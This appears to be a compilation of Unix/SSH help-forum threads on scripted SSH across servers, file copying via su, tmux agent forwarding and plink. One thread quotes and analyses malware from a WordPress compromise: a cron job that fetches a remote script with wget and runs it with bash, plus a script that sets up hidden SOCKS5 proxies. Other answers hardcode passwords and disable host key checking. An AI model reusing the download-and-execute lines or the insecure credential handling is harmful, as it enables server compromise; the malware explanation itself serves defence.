SSH between N number of servers using script - unix

I have n number of servers like c0001.test.cloud.com, c0002.test.cloud.com, c0003.test.cloud.com and I want to do the ssh between these servers like:
from Server: c0001 do the ssh to c0002 and then exit the server.
Come back to c0001 do the ssh to c0003 and then exit the server.
So in this way it will execute the script without entering any input during runtime and we can have n number of servers.
I have written one script :
str1=c0001.test.cloud.com,c0002.test.cloud.com,c0003.test.cloud.com
string="$( cut -d ',' -f 2- <<< "$str1" )"
echo "$string"
for j in $(echo $string | sed "s/,/ /g")
do
ssh appAccount#j
done
But this script is not running fine. I have also checked it by passing parameters
like: -o StrictHostKeyChecking=no and <<'ENDSSH' but it is not working.

Assuming the number of commands you want to run are small, you could:
Create a script of commands that will run from c0001.test.cloud.com to each of the servers. For example, create a file on your local machine called commands.sh with:
hosts="c0002.test.cloud.com c0003.test.cloud.com"
for host in $hosts do
ssh -o StrictHostKeyChecking=no -q appAccount#$host <command 1> && <command 2>
done
On your local machine, ssh to c0001.test.cloud.com and execute the commands in commands.sh:
ssh -o StrictHostKeyChecking=no -q appAccount#c0001.test.cloud.com 'bash -s' < commands.sh
However, if your requirements become more complex, a more robust solution might be to use a cluster administration tool such as ClusterShell

Related

How to copy files to remote server with a user without privileges?

When I need to copy a file from local server (server A) to remote server(server B) via SSH, using a user with enough privileges, I do this successfuly like below
localpath='/this/is/local/path/file1.txt'
remotepath='/this/is/remote/path/'
mypass='MyPassword123'
sshpass -p $mypass scp username#hostname:$localpath $remotepath
Now, I have to transfer a file from server A to server C with a user that doesn't have enough privileges to copy. Then once
I connected to Server C, I need to send su in order to be able to send commands like cd, ls, etc.
Manually, I access the server C via SSH like this:
[root#ServerA ~]# ssh username#hostname
You are trying to access a restricted zone. Only Authorized Users allowed.
Password:
Last login: Sat Jun 13 10:17:40 2020 from XXX.XXX.XXX.XXX
ServerC ~ $
ServerC ~ $ su
Password:
ServerC /home/myuser #
ServerC /home/myuser # cd /documents/backups/
ServerC /documents/backups #
At this moment myuser has superuser privileges and I can send commands.
Then, how can I automate the task to copy files from server A to server C with the need to send su once I'm connected to Server C?
I've tried so far doing like this:
sshpass -p $mypass ssh -t username#hostname "su -c \"cd /documents/backups/ && ls\""
it requests password for su and I'm able to send cd and ls but with this command, I'm not copying files from Server A to Server C, only semi-automating the access to Server C and sending the su in Server C.
Thanks in advance for any help.
UPDATE
# $TAR | ssh $username#$hostname "$COMMAND"
+ tar -cv -C /this/is/local/path/file1.txt .
+ ssh username#X.X.X.X 'set -x; rm -f /tmp/copy && mknod /tmp/copy p; su - <<< "su_password
set -x; tar -xv -C /this/is/remote/path/ . < /tmp/copy" & cat > /tmp/copy'
tar: /this/is/local/path/file1.txt: Cannot chdir: Not a directory
tar: Error is not recoverable: exiting now
You are trying to access a restricted zone. Only Authorized Users allowed.
Password:
+ rm -f /tmp/copy
+ mknod /tmp/copy p
+ su -
+ cat
Password:
Editorial note: the previous version of this answer used sudo, the current version uses su as requested in the question.
You could use tar and pipes, like so:
TAR="tar -cv -C $localpath ."
UNTAR="tar -xv -C $remotepath ."
PREPARE_PIPE="rm -f /tmp/copy && mknod /tmp/copy p"
NEWLINE=$'\n' # that's the easiest way to get a literal newline
ROOT_PASSWORD=rootpasswordverydangerous
COMMAND="set -x; $PREPARE_PIPE; su - <<< \"${ROOT_PASSWORD}${NEWLINE} set -x; $UNTAR < /tmp/copy\" & cat > /tmp/copy"
$TAR | ssh username#hostname "$COMMAND"
Explanation:
tar -c . archives the current directory into a single file. We aren't passing -f to tar, so that single file is standard output.
tar -x . extracts the content of a single tar archive file to the current directory. We aren't passing -f to tar, so that single file is standard input.
-C <path> tells tar to cd into <path> so that it will be the current directory in which files are copied from/to.
-v just tells tar to list the files tar archives/extracts, for debugging purposes.
Likewise, set -x is just to have bash to emit trace information, for debugging purposes.
So we're archiving $localpath into stdout, and piping it to ssh, which will pipe it to $COMMAND.
If there was a way to give su the password in the command line, we would have used something like:
$TAR | ssh ... su --password ${ROOT_PASSWORD} -c "$UNTAR"
and things would have been simple.
But su doesn't have that. su runs like a shell, reading from stdin. So it will first read the password, and once the password is read and su has established a root session, it reads commands from stdin. That's why we have su - <<< \"${ROOT_PASSWORD}${NEWLINE}${UNTAR}.
But now stdin is used by the password and command, so we can't use it as the archive. We could use another file descriptor, but I prefer not to, because then the solution can be more easily ported to work with sudo instead of su. sudo closes all file descriptors, and sudo -C 200 (only close file descriptors above 200) may not work (didn't work on my test machine).
if we went that direction, we would have used something like
$TAR | ssh ... 'exec 9<&2 && sudo -S <<< $mypass bash -c "$UNTAR <&9"'
Our next option is to do something like cat > /tmp/archive.tar in order to write the entire archive into a file, and then have something like $UNTAR < /tmp/archive.tar. But the archive may be huge and we may run out of disk space.
So the idea is to create a dedicated pipe - that's PREPARE_PIPE. Pipes don't save anything to disk, and don't store the entire stream in memory, so the reader and the writer have to work concurrently (you know, like with a real pipe).
So having redirected su's stdin from $ROOT_PASSWORD, we pull ssh's stdin into our pipe with cat > /tmp/copy, and in parallel (&) having $UNTAR read from the pipe (< /tmp/copy).
Notes:
You could also pass -z to both tar commands to pass it compressed, if your network is too slow.
tar will preserve the source's metadata, e.g. timestamps and ownership.
Passing $ROOT_PASSWORD to commands is not good practice, anyone who runs ps -ef can see the password. There are ways to pass the password to server C in a more secure way, I didn't include it in order to not further complicate this answer.
I would suggest asking the server's owner to install sudo, so that if the password is compromised via ps -ef, at least it's not the root password.

open screen session on many remote hosts executing complex command, don't exit afterward

I have a long list of remote hosts and I want to run a shell command on all of them. The command takes a very long time, so I want to run the command inside screen on the remote machine, disconnecting immediately from each, and I want the terminal output on the remote to be preserved after the command exits. There is a "tag" that should be supplied to each command as an argument. I tried to do this with parallel, something like this:
$ cat servers.txt
user1#server1.example.com/tag1
user2#server2.example.com/tag2
# ...
$ cat run.sh
grep -v '^#' servers.txt |
parallel ssh -tt '{//}' \
'tag={/}; exec screen slow_command --option1 --option2 $tag other args'
This doesn't work: all of the remote processes are launched, but they are not detached (so the ssh sessions remain live and I don't get my local shell back), and once each command finishes, its screen exits immediately and the output is lost.
How do I fix this script? Note: if this is easier to do with tmux and/or some other marshalling program besides parallel, I'm happy to hear answers that explain how to do it that way.
Something like this:
grep -v '^#' servers.txt |
parallel -q --colsep / ssh {1} "screen -d -m bash -c 'echo do stuff \"{2}\";sleep 1000000'"
The final sleep makes sure the screen does not die. You will have 1000000 seconds to attach to it and kill it.
There is an awful lot of quoting there - especially if do stuff is complex.
It may be easier to make a function that computes tag on the remote machine. You need GNU Parallel 20200522 for this:
env_parallel --session
f() {
sshlogin="$1"
# TODO given $sshlogin compute $tag (e.g. a table lookup)
do_stuff() {
echo "do stuff $tag"
sleep 1000000
}
export -f do_stuff
screen -d -m bash -c do_stuff "$#"
}
env_parallel --nonall --slf servers_without_tag f '$PARALLEL_SSHLOGIN'
env_parallel --endsession

some malware that appeared on our site related to the recent wordpress attack

Apparently I site I do some volunteer work for was one of a few thousand sites targeted in a recent hack that exploited some vulnerability in wordpress. The result of the breach was a cron job added to the site:
0 */48 * * * cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test
the file it was pulling is this (obviously, don't try to execute this...)
killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest
I was hoping someone could tell me what it does? I cleaned out the cron job and will follow all the other advice available to secure the site again, but I am worried that some additional damage might have been done that is not as obvious. I just can't figure out what the heck that file was actually doing.
I just can't figure out what the heck that file was actually doing.
Quick Summary
In summary, It kills all perl processes and then starts up SOCKS5 servers on all the machine's external IP addresses.
In Depth
In more detail, let's look at the script line-by-line:
killall -9 perl
This kills all perl processes.
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
The above downloads the file stest.tar and untars it in the /tmp/stest directory, deletes the tar file, and moves into the directory which now holds the downloaded files.
sh getip >>bug.txt
The getip script, part of stest.tar, uses icanhazip.com to find your public IP address and stores that in the file bug.txt.
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
The above uses ifconfig to check for any other non-local IP addresses that your machine answers to and adds them to bug.txt. Duplicates are removed and the final list of your public IP addresses is saved in the file clean.txt.
bash mbind clean.txt
This is the meat of the script. mbind, which was part of stest.tar, runs the script inst on each IP address in clean.txt. For that IP address, inst, also part of stest.tar, selects a port at random and starts a copy of "Simple SOCKS5 Server for Perl" on that IP and that port.
More specifically, the SOCKS server that is run is version 1.4 of Simple Socks Server for Perl which can be downloaded from sourceforge. The version used here differs from the sourceforge in only minor respects: a help message is suppressed, the md5 option is removed, and the IP and port are included in the script, rather than passed on in on the command line. I suspect that the purpose of the latter change is make the script's command line look relatively innocuous when viewed with a utility such as ps.
bash binded.txt
The script binded.txt was created by inst. It apparently runs a check on the SOCKS5 server.
cd ..
rm -rf stest
The last part just does clean-up. It removes all the un-tarred files and the temporary files created by the scripts.
How to determine if one of the SOCKS servers is still running
The script inst (part of the .tar file) starts each SOCKS server with the command:
/usr/bin/perl httpd
To see if one is still running, look through the output of ps wax and see if you see that command. If you do it, use the kill command to stop it.

How to auto-update SSH agent environment variables when attaching to existing tmux sessions?

I am trying to find a nice way to restore the SSH agent when I reconnect a disconnected tmux session.
The cause seems to be that the SSH agent session changes but the environment variable from the tmux session is not updated.
How can I automate this, before attaching the session itself? Because the session I am attaching to does not always have a bash prompt, so I cannot afford to type something inside it. It has to be something to run before creating or attaching the tmux session.
An example of the code I'm running is at https://gist.github.com/ssbarnea/8646491 -- a small ssh wrapper that is using tmux to create persistem ssh connections. This works quite well, but sometimes the ssh agent stops working so I am no longer able to use it to connect to other hosts.
There's an excellent gist by Martijn Vermaat, which addresses your problem in great depth, although it is intended for screen users, so I'm adjusting it for tmux here.
To summarize:
create ~/.ssh/rc if it doesn't exist yet, and add the following content:
#!/bin/bash
# Fix SSH auth socket location so agent forwarding works with tmux.
if test "$SSH_AUTH_SOCK" ; then
ln -sf $SSH_AUTH_SOCK ~/.ssh/ssh_auth_sock
fi
Make it work in tmux, add this to your ~/.tmux.conf:
# fix ssh agent when tmux is detached
setenv -g SSH_AUTH_SOCK $HOME/.ssh/ssh_auth_sock
Extra work is required if you want to enable X11 forwarding, see the gist.
While tmux updates SSH variables by default, there is no need to
change/add socket path
change the SSH_AUTH_SOCKET variable
I like the solution by Chris Down which I changed to add function
fixssh() {
eval $(tmux show-env \
|sed -n 's/^\(SSH_[^=]*\)=\(.*\)/export \1="\2"/p')
}
into ~/.bashrc. Call fixssh after attaching session or before ssh/scp/rsync.
Newer versions of tmux support -s option for show-env, so only
eval $(tmux show-env -s |grep '^SSH_')
is possible.
Here's what I use for updating SSH_AUTH_SOCK inside a tmux window (based on Hans Ginzel's script):
alias fixssh='eval $(tmux showenv -s SSH_AUTH_SOCK)'
Or for tmux that does not have showenv -s:
alias fixssh='export $(tmux showenv SSH_AUTH_SOCK)'
Here is my solution which includes both approaches, and does not require extra typing when I reconnect to tmux session
alias ssh='[ -n "$TMUX" ] && eval $(tmux showenv -s SSH_AUTH_SOCK); /usr/bin/ssh'
There are lots of good answers here. But there are cases where tmux show-environment doesn't see SSH_AUTH_SOCK. In that case you can use find to locate it explicitly.
export SSH_AUTH_SOCK=$(find /tmp -path '*/ssh-*' -name 'agent*' -uid $(id -u) 2>/dev/null | tail -n1)
That's long and complicated, so I'll break it down...
01 export SSH_AUTH_SOCK=$(
02 find /tmp \
03 -path '*/ssh-*'
04 -name 'agent*'
05 -uid $(id -u)
06 2>/dev/null
07 | tail -n1
08 )
export the SSH_AUTH_SOCK environment variable set to the output of the $() command substitution
find files starting in /tmp
limit results to only those with /ssh- in the path
limit results to only those whose name begins with agent
limit results to only those with a user id matching the current user
silence all (permissions, etc.) errors
take only the last result if there are multiple
You may be able to leave off 6 & 7 if you know that there will only be 1 result and you don't care about stderr garbage.
I use a variation of the previous answers:
eval "export $(tmux show-environment -g SSH_AUTH_SOCK)"
assuming that you did the ssh agent started from the outer environment. Same goes for other environment variables such as DISPLAY.
I prefer to avoid configuring TMUX (etc) and keep everything purely in ~/.ssh/. On the remote system:
Create ~/.ssh/rc:
#!/bin/bash
# Fix SSH auth socket location so agent forwarding works within tmux
if test "$SSH_AUTH_SOCK" ; then
ln -sf $SSH_AUTH_SOCK ~/.ssh/ssh_auth_sock
fi
Add following to ~/.ssh/config so it no longer relies on $SSH_AUTH_SOCK, which goes stale in detached terminals:
Host *
IdentityAgent ~/.ssh/ssh_auth_sock
Known limitations
ssh-add doesn't use ~/.ssh/config and so cannot communicate with ssh-agent. Commands like ssh-add -l produce errors, even though ssh user#host works fine, as does updating git remotes which are accessed via SSH.
I may have worked out a solution that is fully encapsulated in the ~/.tmux.conf configuration file. It is a different approach than modifying the ~/.bash_profile and ~/.ssh/rc.
Solution only using ~/.tmux.conf
Just cut and paste the following code into your ~/.tmux.conf
# ~/.tmux.conf
# SSH agent forwarding
#
# Ensure that SSH-Agent forwarding will work when re-attaching to the tmux
# session from a different SSH connection (after a dropped connection).
# This code will run upon tmux create, tmux attach, or config reload.
#
# If there is an SSH_AUTH_SOCK originally defined:
# 1) Remove all SSH related env var names from update-environment.
# Without this, setenv cannot override variables such as SSH_AUTH_SOCK.
# Verify update-environment with: tmux show-option -g update-environment
# 2) Force-set SSH_AUTH_SOCK to be a known location
# /tmp/ssh_auth_sock_tmux
# 3) Force-create a link of the first found ssh-agent socket at the known location
if-shell '[ -n $SSH_AUTH_SOCK ]' " \
set-option -sg update-environment \"DISPLAY WINDOWID XAUTHORITY\"; \
setenv -g SSH_AUTH_SOCK /tmp/ssh_auth_sock_tmux; \
run-shell \"ln -sf $(find /tmp/ssh-* -type s -readable | head -n 1) /tmp/ssh_auth_sock_tmux\" \
"
Caveat
The above solution along with the other solutions are susceptible to a race condition when initiating multiple connections to the same machine. Consider this:
Client 1 Connect: SSH to machineX, start/attach tmux (writes ssh_auth_sock link)
Client 2 Connect: SSH to machineX, start/attach tmux (overwrites ssh_auth_sock link)
Client 2 Disconnect: Client 1 is left with a stale ssh_auth_sock link, thus breaking ssh-agent
However, this solution is slightly more resilient because it only overwrites the ssh_auth_sock link upon tmux start/attach, instead of upon initialization of a bash shell ~/.bash_profile or ssh connection ~/.ssh/rc
To cover this last race condition, one may add a key binding to reload the tmux configuration with a (Ctrl-b r) key sequence.
# ~/.tmux.conf
# reload config file
bind r source-file ~/.tmux.conf
From within an active tmux session, executing this sequence when the ssh_auth_sock link goes stale will refresh the ssh-agent connection.
In case other fish shell users are wondering how to deal with this when using fish (as well as for my future self!). In my fish_prompt I added a call to the following function:
function _update_tmux_ssh
if set -q TMUX
eval (tmux show-environment SSH_AUTH_SOCK | sed 's/\=/ /' | sed 's/^/set /')
end
end
I suppose that more advanced *nix users would know how to replace sed with something better, but this works (tmux 3.0, fish 3.1).
Following up on #pymkin's answer above, add the following, which worked with tmux 3.2a on macOS 11.5.3:
To ~/.tmux.conf:
# first, unset update-environment[SSH_AUTH_SOCK] (idx 3), to prevent
# the client overriding the global value
set-option -g -u update-environment[3]
# And set the global value to our static symlink'd path:
set-environment -g SSH_AUTH_SOCK $HOME/.ssh/ssh_auth_sock
To ~/.ssh/rc:
#!/bin/sh
# On SSH connection, create stable auth socket path for Tmux usage
if test "$SSH_AUTH_SOCK"; then
ln -sf "$SSH_AUTH_SOCK" ~/.ssh/ssh_auth_sock
fi
What's going on? Tmux has the semi-helpful update-environment variable/feature to pick up certain environment variables when a client connects. I.e. when you do tmux new or tmux attach, it'll update the tmux environment from when you ran those commands. That's nice for new shells or commands you run inside tmux afterwards, but it doesn't help those shells you've started prior to the latest attach. To solve this, you could use some of the other answers here to have existing shells pick up this updated environment, but that's not the route I chose.
Instead, we're setting a static value for SSH_AUTH_SOCK inside tmux, which will be ~/.ssh/ssh_auth_sock. All shells inside tmux would pick that up, and never have to be updated later. Then, we configure ssh so that, upon connection, it updates that static path with a symlink to the latest real socket that ssh knows.
The missing piece from #pymkin's answer is that Tmux will have the session value override the global value, so doing set-environment -g isn't sufficient; it gets squashed whenever you re-attach. You also have to also tell tmux not to update SSH_AUTH_SOCK in the session environment, so that the global value can make it through. That's what the set-option -g -u is about.
After coming across so many suggestions, I finally figured out a solution that enables TMUX update the stale ssh agent after being attached. Basically, both the zshrc files on the local and remote machines need to be modified.
Insert the following codes into the local zshrc, which is based on this reference.
export SSH_AUTH_SOCK=~/.ssh/ssh-agent.$(hostname).sock
ssh-add -l 2>/dev/null >/dev/null
# The error of executing ssh-add command denotes a valid agent does not
# exist.
if [ $? -ge 1 ]; then
# remove the socket if it exists
if [ -S "${SSH_AUTH_SOCK}" ]; then
rm "${SSH_AUTH_SOCK}"
fi
ssh-agent -a "${SSH_AUTH_SOCK}" >/dev/null
# one week life time
ssh-add -t 1W path-to-private-rsa-file
fi
Insert the following code into the remote zshrc, where the tmux session will be attached.
alias fixssh='eval $(tmux showenv -s SSH_AUTH_SOCK)'
Then ssh into the remote machine. The -A option is necessary.
ssh -A username#hostname
Attach the TMUX session. Check the TMUX evironment variables
# run this command in the shell
tmux showenv -s
# or run this command after prefix CTRL+A or CTRL+B
:show-environment
Run fixssh in the previously existed panes to update the ssh agent. If a new pane is created, it will automatically get the new ssh-agent.
Here's another simple Bash solution, using PROMPT_COMMAND to update the SSH_* vars inside tmux before each prompt is generated. The downside to this solution is that it doesn't take effect in existing shells until a new prompt is generated, because PROMPT_COMMAND is only run before creating new prompts.
Just add this to your ~/.bashrc:
update_tmux_env () {
# Only run for shells inside a tmux session.
if [[ -n "$TMUX" ]]; then
eval $(tmux show-env -s | grep '^SSH_')
fi
}
export PROMPT_COMMAND=update_tmux_env
Here's a new fix to an old problem: I think it's simpler than the other fixes and there's no need to make a static socket or mess with the shell prompt or make a separate command you have to remember to run.
I added this code added to my .bashrc file:
if [[ -n $TMUX ]]; then
_fix_ssh_agent_in_tmux () { if [[ ! -S $SSH_AUTH_SOCK ]]; then eval export $(tmux show-env | grep SSH_AUTH_SOCK); fi }
ssh () { _fix_ssh_agent_in_tmux; command ssh $#; }
scp () { _fix_ssh_agent_in_tmux; command scp $#; }
git () { _fix_ssh_agent_in_tmux; command git $#; }
rsync () { _fix_ssh_agent_in_tmux; command rsync $#; }
fi
If the shell is running within tmux, it redefines 'ssh' and its ilk to bash functions which test and fix SSH_AUTH_SOCK before actually running the real commands.
Note that tmux show-env -g also returns a value for SSH_AUTH_SOCK but that one is stale, I assume it's from whenever the tmux server started. The command above queries the current tmux session's environment which seems to be correct.
I'm using tmux 2.6 (ships with with Ubuntu 18.04) and it seems to work well.

Problem with plink output

I'm using plink to run a command on a Unix remote machine.
The command is:
ls -1trd testegrep.txt |tail -1 |xargs tail -f| grep 's';
The way I'm sending this command is by using a file with a set of commands like:
plink.exe -ssh -t -l user -pw pwd tst.url.pt -m commands.out
When I run the command this way the plink does not receive any input. It seems that is waiting for input.
But if I run:
plink.exe -ssh -t -l user -pw pwd tst.url.pt "ls -1trd testegrep.txt |tail -1 |xargs tail -f| grep 's';"
I get the expected result.
I'm not using the plink with a file with the command because I choose so. I'm using a test automation software that allows me to run tests on remote hosts and this is the way the tool works.
Any thoughts on what is going wrong?
I tested the command you provided and it worked without problems.
Maybe the problem is related to:
The server's host key is not cached in the registry.
The path to the file is not correct.
The file is empty.
include server hostkey
most importantly, you need to include the unix profile using the -m paramater
You can include all your commands in the same file where the profile is kept also.
$Output = ((plink.exe -hostkey hostkey -l UNAME -i SSHKEY -P 22 -ssh server -batch -m PROFILE) | ? {$_ -ne ""})

Resources